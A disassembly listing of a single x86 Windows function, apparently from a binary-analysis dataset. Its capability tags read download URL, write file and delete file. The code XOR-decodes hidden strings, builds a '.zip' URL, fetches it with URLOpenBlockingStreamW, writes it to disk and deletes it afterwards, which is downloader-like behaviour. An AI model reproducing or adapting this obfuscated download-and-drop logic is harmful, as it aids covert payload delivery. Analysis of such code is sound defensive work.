Function at 0x403a10
Capabilities:
Delete file
Download and write a file
Download url
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
mov eax, dword fs:[0]
push 0x444cc1
push eax
mov eax, 0x5088
mov dword fs:[0], esp
call fcn.0041e560
push ebx
push esi
push edi
mov dword [ebp - 0x44], ecx
call fcn.00405cb0
mov ecx, dword fs:[0x2c]
mov esi, eax
mov eax, dword [0x456994]
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x30], esi
mov ebx, dword [ecx]
mov dword [ebp - 0x28], 0xd140a0e5
mov byte [ebp - 0x24], 0xed
mov dword [ebp - 0x34], ebx
mov eax, dword [ebx + 0x2e8]
lea edi, [ebx + 0x258]
test al, 1
jne 0x403abd
or eax, 1
mov dword [ebx + 0x2e8], eax
mov dword [ebp - 4], 0
xorps xmm0, xmm0
movlpd qword [ebp - 0x18], xmm0
mov edx, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x18]
mov byte [edi + 5], 1
mov al, byte [ebp + ecx - 0x28]
mov byte [ecx + edi], al
add ecx, 1
adc edx, 0
test edx, edx
jne 0x403aa9
cmp ecx, 5
jb 0x403a93
push 0x445710
call fcn.0041e08d
add esp, 4
mov dword [ebp - 4], 0xffffffff
cmp byte [edi + 5], 0
je 0x403b04
xorps xmm0, xmm0
movlpd qword [ebp - 0x18], xmm0
mov ebx, dword [ebp - 0x14]
mov esi, dword [ebp - 0x18]
mov ecx, esi
mov eax, 0xb529d78d
and ecx, 7
mov edx, 0xc52f13ed
shl ecx, 3
call fcn.00444580
xor byte [esi + edi], al
add esi, 1
adc ebx, 0
test ebx, ebx
jne 0x403afa
cmp esi, 5
jb 0x403ad1
mov ebx, dword [ebp - 0x34]
mov esi, dword [ebp - 0x30]
mov byte [edi + 5], 0
push dword [ebp - 0x3c]
push edi
push esi
call fcn.00405ae0
mov eax, dword [ebx + 0x218]
mov dword [ebp - 0x18], 0x2bf72087
mov word [ebp - 0x14], 0xc87a
mov byte [ebp - 0x12], 0x11
test al, 1
jne 0x403b7e
or eax, 1
mov dword [ebx + 0x218], eax
mov dword [ebp - 4], 1
xorps xmm0, xmm0
movlpd qword [ebp - 0x40], xmm0
mov edx, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x40]
mov byte [ebx + 0xb7], 1
nop
mov al, byte [ebp + ecx - 0x18]
mov byte [ecx + ebx + 0xb0], al
add ecx, 1
adc edx, 0
test edx, edx
jne 0x403b6a
cmp ecx, 7
jb 0x403b50
push 0x4456d0
call fcn.0041e08d
add esp, 4
mov dword [ebp - 4], 0xffffffff
cmp byte [ebx + 0xb7], 0
lea edi, [ebx + 0xb0]
je 0x403bd3
xorps xmm0, xmm0
movlpd qword [ebp - 0x18], xmm0
mov ebx, dword [ebp - 0x14]
mov esi, dword [ebp - 0x18]
nop dword [eax + eax]
mov ecx, esi
mov eax, 0x478745e3
and ecx, 7
mov edx, 0x7b11b115
shl ecx, 3
call fcn.00444580
xor byte [esi + edi], al
add esi, 1
adc ebx, 0
test ebx, ebx
jne 0x403bc9
cmp esi, 7
jb 0x403ba0
mov ebx, dword [ebp - 0x34]
mov esi, dword [ebp - 0x30]
mov byte [edi + 7], 0
movsd xmm0, qword [0x451d18]
sub esp, 8
movsd qword [esp], xmm0
push edi
push esi
call fcn.00405a20
mov eax, dword [ebx + 0x174]
mov dword [ebp - 0x40], 0x48af6e1d
mov byte [ebp - 0x3c], 0xaf
test al, 1
jne 0x403c5e
or eax, 1
mov dword [ebx + 0x174], eax
mov dword [ebp - 4], 2
xorps xmm0, xmm0
movlpd qword [ebp - 0x18], xmm0
mov edx, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x18]
mov byte [ebx + 0xed], 1
nop dword [eax]
nop dword [eax + eax]
mov al, byte [ebp + ecx - 0x40]
mov byte [ecx + ebx + 0xe8], al
add ecx, 1
adc edx, 0
test edx, edx
jne 0x403c4a
cmp ecx, 5
jb 0x403c30
push 0x445690
call fcn.0041e08d
add esp, 4
mov dword [ebp - 4], 0xffffffff
cmp byte [ebx + 0xed], 0
lea edi, [ebx + 0xe8]
je 0x403cb3
xorps xmm0, xmm0
movlpd qword [ebp - 0x18], xmm0
mov ebx, dword [ebp - 0x14]
mov esi, dword [ebp - 0x18]
nop dword [eax + eax]
mov ecx, esi
mov eax, 0x2ddf1769
and ecx, 7
mov edx, 0x31d103af
shl ecx, 3
call fcn.00444580
xor byte [esi + edi], al
add esi, 1
adc ebx, 0
test ebx, ebx
jne 0x403ca9
cmp esi, 5
jb 0x403c80
mov ebx, dword [ebp - 0x34]
mov esi, dword [ebp - 0x30]
mov byte [edi + 5], 0
movd xmm0, dword [ebp + 0xc]
sub esp, 8
cvtdq2pd xmm0, xmm0
movsd qword [esp], xmm0
push edi
push esi
call fcn.00405a20
mov eax, dword [ebx + 0x2cc]
mov dword [ebp - 0x28], 0xb5e9c237
test al, 1
jne 0x403d2f
or eax, 1
mov dword [ebx + 0x2cc], eax
mov dword [ebp - 4], 3
xorps xmm0, xmm0
movlpd qword [ebp - 0x18], xmm0
mov edx, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x18]
mov byte [ebx + 0x140], 1
mov al, byte [ebp + ecx - 0x28]
mov byte [ecx + ebx + 0x13c], al
add ecx, 1
adc edx, 0
test edx, edx
jne 0x403d1b
cmp ecx, 4
jb 0x403d01
push 0x445650
call fcn.0041e08d
add esp, 4
mov dword [ebp - 4], 0xffffffff
cmp byte [ebx + 0x140], 0
lea eax, [ebx + 0x13c]
mov dword [ebp - 0x3c], eax
je 0x403d87
xorps xmm0, xmm0
mov ebx, eax
movlpd qword [ebp - 0x18], xmm0
mov edi, dword [ebp - 0x14]
mov esi, dword [ebp - 0x18]
mov ecx, esi
mov eax, 0xb59ba741
and ecx, 7
mov edx, 0xabe3a9e3
shl ecx, 3
call fcn.00444580
xor byte [esi + ebx], al
add esi, 1
adc edi, 0
test edi, edi
jne 0x403d7a
cmp esi, 4
jb 0x403d51
mov eax, dword [ebp - 0x3c]
mov esi, dword [ebp - 0x30]
mov byte [ebx + 4], 0
mov ebx, dword [ebp - 0x34]
movsd xmm0, qword [0x451d28]
sub esp, 8
movsd qword [esp], xmm0
push eax
push esi
call fcn.00405a20
push esi
call fcn.00405f10
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
call edi
push dword [ebp - 0x30]
mov esi, eax
call fcn.00405f10
mov edx, esi
mov ecx, eax
call fcn.00401160
push eax
mov dword [ebp - 0x3c], eax
call edi
add eax, 0x100
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
mov dword [ebp - 0x18], 0x92539637
mov eax, dword [ebx + 0x234]
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x14], 0xbbda4cd2
test al, 1
jne 0x403e4e
or eax, 1
mov dword [ebx + 0x234], eax
mov dword [ebp - 4], 4
xorps xmm0, xmm0
movlpd qword [ebp - 0x20], xmm0
mov edx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x20]
mov byte [ebx + 0x118], 1
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x18]
mov byte [ecx + ebx + 0x110], al
add ecx, 1
adc edx, 0
test edx, edx
jne 0x403e3a
cmp ecx, 8
jb 0x403e20
push 0x445610
call fcn.0041e08d
add esp, 4
mov dword [ebp - 4], 0xffffffff
cmp byte [ebx + 0x118], 0
lea edi, [ebx + 0x110]
je 0x403ea3
xorps xmm0, xmm0
movlpd qword [ebp - 0x20], xmm0
mov ebx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x20]
nop dword [eax + eax]
mov ecx, esi
mov eax, 0xf327f753
and ecx, 7
mov edx, 0xbba969ef
shl ecx, 3
call fcn.00444580
xor byte [esi + edi], al
add esi, 1
adc ebx, 0
test ebx, ebx
jne 0x403e99
cmp esi, 8
jb 0x403e70
mov ebx, dword [ebp - 0x34]
mov esi, dword [ebp - 0x28]
mov byte [edi + 8], 0
push dword [ebp - 0x3c]
push edi
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x5090]
push 0x2000
push 0
push eax
call fcn.0041fce0
add esp, 0xc
lea eax, [ebp - 0x5090]
push 0x2000
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edx, eax
mov ecx, esi
call fcn.00401420
add esp, 8
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GlobalFree]
call esi
push dword [ebp - 0x3c]
call esi
push dword [ebp - 0x30]
call fcn.00405ce0
lea eax, [ebp - 0x5090]
push eax
call fcn.00405d80
mov ecx, dword [ebx + 0x11c]
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x28], 0xd68474f9
mov byte [ebp - 0x24], 0xc1
test cl, 1
jne 0x403f7e
or ecx, 1
mov dword [ebx + 0x11c], ecx
mov dword [ebp - 4], 5
xorps xmm0, xmm0
movlpd qword [ebp - 0x20], xmm0
mov edx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x20]
mov byte [ebx + 0x2dd], 1
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x28]
mov byte [ecx + ebx + 0x2d8], al
add ecx, 1
adc edx, 0
test edx, edx
jne 0x403f6a
cmp ecx, 5
jb 0x403f50
push 0x4455d0
call fcn.0041e08d
add esp, 4
mov dword [ebp - 4], 0xffffffff
cmp byte [ebx + 0x2dd], 0
lea edi, [ebx + 0x2d8]
je 0x403fd0
xorps xmm0, xmm0
movlpd qword [ebp - 0x20], xmm0
mov ebx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x20]
nop dword [eax + eax]
mov ecx, esi
mov eax, 0xb3e91597
and ecx, 7
mov edx, 0xabcb91c1
shl ecx, 3
call fcn.00444580
xor byte [esi + edi], al
add esi, 1
adc ebx, 0
test ebx, ebx
jne 0x403fc9
cmp esi, 5
jb 0x403fa0
mov ebx, dword [ebp - 0x34]
mov byte [edi + 5], 0
push edi
push dword [ebp - 0x3c]
call fcn.00405d60
mov ecx, dword [ebx + 0xa0]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x30], 0xe66e7a6f
mov byte [ebp - 0x2c], 0x2d
test cl, 1
jne 0x40404e
or ecx, 1
mov dword [ebx + 0xa0], ecx
mov dword [ebp - 4], 6
xorps xmm0, xmm0
movlpd qword [ebp - 0x20], xmm0
mov edx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x20]
mov byte [ebx + 0x26d], 1
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x30]
mov byte [ecx + ebx + 0x268], al
add ecx, 1
adc edx, 0
test edx, edx
jne 0x40403a
cmp ecx, 5
jb 0x404020
push 0x445590
call fcn.0041e08d
add esp, 4
mov dword [ebp - 4], 0xffffffff
cmp byte [ebx + 0x26d], 0
lea edi, [ebx + 0x268]
je 0x40409d
xorps xmm0, xmm0
movlpd qword [ebp - 0x20], xmm0
mov ebx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x20]
nop dword [eax + eax]
mov ecx, esi
mov eax, 0x951d1b1f
and ecx, 7
mov edx, 0x2155532d
shl ecx, 3
call fcn.00444580
xor byte [esi + edi], al
add esi, 1
adc ebx, 0
test ebx, ebx
jne 0x404099
cmp esi, 5
jb 0x404070
mov byte [edi + 5], 0
push edi
push dword [ebp - 0x3c]
call fcn.00405d60
mov eax, dword [ebp - 0x28]
push dword [eax + 0x10]
lea eax, [ebp - 0x3090]
push 0x456578
push 0x45a998
push 0x45aba0
push str._hs:___hs_hs__hs.zip
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x18
lea eax, [ebp - 0x2090]
push dword [0x456988]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x2090]
push 0x4517ec
push eax
call esi
push dword [ebp - 0x44]
lea eax, [ebp - 0x2090]
push eax
call esi
xor ebx, ebx
lea eax, [ebp - 0x28]
push ebx
push ebx
push eax
lea eax, [ebp - 0x3090]
push eax
push ebx
call dword [sym.imp.urlmon.dll_URLOpenBlockingStreamW]
test eax, eax
js 0x40419b
mov ecx, dword [ebp - 0x28]
lea edx, [ebp - 0x90]
push 1
push edx
push ecx
mov eax, dword [ecx]
call dword [eax + 0x30]
test eax, eax
js 0x40418d
mov edi, dword [ebp - 0x88]
inc edi
push edi
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebx, eax
test ebx, ebx
je 0x404190
push edi
xorps xmm0, xmm0
push 0
push ebx
movlpd qword [ebp - 0x20], xmm0
call fcn.0041fce0
mov ecx, dword [ebp - 0x28]
add esp, 0xc
mov eax, dword [ecx]
push 0
push 0
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push ecx
call dword [eax + 0x14]
mov edx, dword [ebp - 0x28]
push 0
mov eax, dword [edx]
mov ecx, dword [eax + 0xc]
lea eax, [edi - 1]
push eax
push ebx
push edx
call ecx
mov eax, dword [ebp - 0x28]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
jmp 0x40419e
mov edi, dword [ebp + 0xc]
mov eax, dword [ebp - 0x28]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
jmp 0x40419e
mov edi, dword [ebp + 0xc]
push 0
push 0x80
push 2
push 0
push 1
push 0x10000000
lea eax, [ebp - 0x2090]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push 0
mov esi, eax
lea eax, [ebp - 0x48]
push eax
push edi
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [ebp - 0x2090]
push 0
push 0
push 0
push 0
push eax
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push eax
lea eax, [ebp - 0x2090]
push eax
push 0
push 0xfde9
call edi
mov esi, eax
lea ecx, [esi + esi]
push ecx
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
push 0
push 0
push esi
push eax
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x2090]
push eax
call ebx
push eax
lea eax, [ebp - 0x2090]
push eax
push 0
push 0xfde9
call edi
push dword [ebp + 8]
push ecx
mov ecx, dword [ebp - 0x28]
call fcn.004015c0
add esp, 8
call fcn.00405cb0
mov edi, dword [ebp - 0x34]
mov dword [ebp - 0x30], eax
mov eax, dword [0x456994]
mov dword [ebp - 0x44], eax
mov ecx, dword [edi + 0x138]
mov dword [ebp - 0x18], 0xf120e851
mov byte [ebp - 0x14], 0x3b
test cl, 1
jne 0x4042ce
or ecx, 1
mov dword [edi + 0x138], ecx
mov dword [ebp - 4], 7
xorps xmm0, xmm0
movlpd qword [ebp - 0x20], xmm0
mov edx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x20]
mov byte [edi + 0x155], 1
nop dword [eax + eax]
mov al, byte [ebp + ecx - 0x18]
mov byte [ecx + edi + 0x150], al
add ecx, 1
adc edx, 0
test edx, edx
jne 0x4042ba
cmp ecx, 5
jb 0x4042a0
push 0x445550
call fcn.0041e08d
add esp, 4
mov dword [ebp - 4], 0xffffffff
cmp byte [edi + 0x155], 0
lea ebx, [edi + 0x150]
je 0x404320
xorps xmm0, xmm0
movlpd qword [ebp - 0x20], xmm0
mov edi, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x20]
nop dword [eax + eax]
mov ecx, esi
mov eax, 0x95499f39
and ecx, 7
mov edx, 0x3fe1bd3b
shl ecx, 3
call fcn.00444580
xor byte [esi + ebx], al
add esi, 1
adc edi, 0
test edi, edi
jne 0x404319
cmp esi, 5
jb 0x4042f0
mov edi, dword [ebp - 0x34]
mov byte [ebx + 5], 0
push dword [ebp - 0x44]
push ebx
push dword [ebp - 0x30]
call fcn.00405ae0
mov eax, dword [edi + 0x22c]
mov dword [ebp - 0x18], 0x55474887
mov word [ebp - 0x14], 0x26e2
mov byte [ebp - 0x12], 0x35
test al, 1
jne 0x40439e
or eax, 1
mov dword [edi + 0x22c], eax
mov dword [ebp - 4], 8
xorps xmm0, xmm0
movlpd qword [ebp - 0x20], xmm0
mov edx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x20]
mov byte [edi + 0x103], 1
nop dword [eax]
mov al, byte [ebp + ecx - 0x18]
mov byte [ecx + edi + 0xfc], al
add ecx, 1
adc edx, 0
test edx, edx
jne 0x40438a
cmp ecx, 7
jb 0x404370
push 0x445510
call fcn.0041e08d
add esp, 4
mov dword [ebp - 4], 0xffffffff
cmp byte [edi + 0x103], 0
lea ebx, [edi + 0xfc]
je 0x4043f0
xorps xmm0, xmm0
movlpd qword [ebp - 0x20], xmm0
mov edi, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x20]
nop dword [eax + eax]
mov ecx, esi
mov eax, 0x39372de3
and ecx, 7
mov edx, 0xc7355f8d
shl ecx, 3
call fcn.00444580
xor byte [esi + ebx], al
add esi, 1
adc edi, 0
test edi, edi
jne 0x4043e9
cmp esi, 7
jb 0x4043c0
mov edi, dword [ebp - 0x34]
mov byte [ebx + 7], 0
movsd xmm0, qword [0x451d20]
sub esp, 8
movsd qword [esp], xmm0
push ebx
push dword [ebp - 0x30]
call fcn.00405a20
mov eax, dword [edi + 0x2f0]
mov dword [ebp - 0x18], 0x4ed7de5b
mov byte [ebp - 0x14], 0xa3
test al, 1
jne 0x40447e
or eax, 1
mov dword [edi + 0x2f0], eax
mov dword [ebp - 4], 9
xorps xmm0, xmm0
movlpd qword [ebp - 0x20], xmm0
mov edx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x20]
mov byte [edi + 0x229], 1
nop dword [eax]
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x18]
mov byte [ecx + edi + 0x224], al
add ecx, 1
adc edx, 0
test edx, edx
jne 0x40446a
cmp ecx, 5
jb 0x404450
push 0x4454d0
call fcn.0041e08d
add esp, 4
mov dword [ebp - 4], 0xffffffff
cmp byte [edi + 0x229], 0
lea ebx, [edi + 0x224]
je 0x4044d0
xorps xmm0, xmm0
movlpd qword [ebp - 0x20], xmm0
mov edi, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x20]
nop dword [eax + eax]
mov ecx, esi
mov eax, 0x2ba7a72f
and ecx, 7
mov edx, 0x61d183a3
shl ecx, 3
call fcn.00444580
xor byte [esi + ebx], al
add esi, 1
adc edi, 0
test edi, edi
jne 0x4044c9
cmp esi, 5
jb 0x4044a0
mov edi, dword [ebp - 0x34]
mov byte [ebx + 5], 0
movd xmm0, dword [ebp + 0xc]
sub esp, 8
cvtdq2pd xmm0, xmm0
movsd qword [esp], xmm0
push ebx
mov ebx, dword [ebp - 0x30]
push ebx
call fcn.00405a20
mov eax, dword [edi + 0x254]
mov dword [ebp + 0xc], 0x17d9162f
test al, 1
jne 0x40454f
or eax, 1
mov dword [edi + 0x254], eax
mov dword [ebp - 4], 0xa
xorps xmm0, xmm0
movlpd qword [ebp - 0x20], xmm0
mov edx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x20]
mov byte [edi + 0x128], 1
mov al, byte [ebp + ecx + 0xc]
mov byte [ecx + edi + 0x124], al
add ecx, 1
adc edx, 0
test edx, edx
jne 0x40453b
cmp ecx, 4
jb 0x404521
push 0x445490
call fcn.0041e08d
add esp, 4
mov dword [ebp - 4], 0xffffffff
cmp byte [edi + 0x128], 0
lea eax, [edi + 0x124]
mov dword [ebp + 0xc], eax
je 0x4045a7
xorps xmm0, xmm0
mov edi, eax
movlpd qword [ebp - 0x20], xmm0
mov ebx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x20]
mov ecx, esi
mov eax, 0x17ab7359
and ecx, 7
mov edx, 0x43d3a5fd
shl ecx, 3
call fcn.00444580
xor byte [esi + edi], al
add esi, 1
adc ebx, 0
test ebx, ebx
jne 0x40459a
cmp esi, 4
jb 0x404571
mov eax, dword [ebp + 0xc]
mov ebx, dword [ebp - 0x30]
mov byte [edi + 4], 0
mov edi, dword [ebp - 0x34]
movsd xmm0, qword [0x451d28]
sub esp, 8
movsd qword [esp], xmm0
push eax
push ebx
call fcn.00405a20
push ebx
call fcn.00405f10
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push ebx
mov esi, eax
call fcn.00405f10
mov edx, esi
mov ecx, eax
call fcn.00401160
mov esi, eax
push esi
mov dword [ebp - 0x44], esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, 0x100
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebx, eax
mov dword [ebp - 0x18], 0xfad95263
mov eax, dword [edi + 0x178]
mov dword [ebp + 0xc], ebx
mov dword [ebp - 0x14], 0x3dfa9cb2
test al, 1
jne 0x40466e
or eax, 1
mov dword [edi + 0x178], eax
mov dword [ebp - 4], 0xb
xorps xmm0, xmm0
movlpd qword [ebp - 0x20], xmm0
mov edx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x20]
mov byte [edi + 0x1b0], 1
nop dword [eax + eax]
mov al, byte [ebp + ecx - 0x18]
mov byte [ecx + edi + 0x1a8], al
add ecx, 1
adc edx, 0
test edx, edx
jne 0x40465a
cmp ecx, 8
jb 0x404640
push 0x445450
call fcn.0041e08d
add esp, 4
mov dword [ebp - 4], 0xffffffff
cmp byte [edi + 0x1b0], 0
lea edi, [edi + 0x1a8]
je 0x4046c3
xorps xmm0, xmm0
movlpd qword [ebp - 0x20], xmm0
mov ebx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x20]
nop dword [eax + eax]
mov ecx, esi
mov eax, 0x9bad3307
and ecx, 7
mov edx, 0x3d89b98f
shl ecx, 3
call fcn.00444580
xor byte [esi + edi], al
add esi, 1
adc ebx, 0
test ebx, ebx
jne 0x4046b9
cmp esi, 8
jb 0x404690
mov ebx, dword [ebp + 0xc]
mov esi, dword [ebp - 0x44]
mov byte [edi + 8], 0
push esi
push edi
push ebx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x5090]
push 0x2000
push 0
push eax
call fcn.0041fce0
add esp, 0xc
lea eax, [ebp - 0x5090]
push 0x2000
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edx, eax
mov ecx, ebx
call fcn.00401420
add esp, 8
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GlobalFree]
call ebx
push esi
call ebx
push dword [ebp - 0x30]
call fcn.00405ce0
push dword [ebp - 0x3c]
call fcn.00405ce0
lea eax, [ebp - 0x2090]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push dword [ebp - 0x28]
call ebx
mov ecx, dword [ebp - 0xc]
xor eax, eax
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret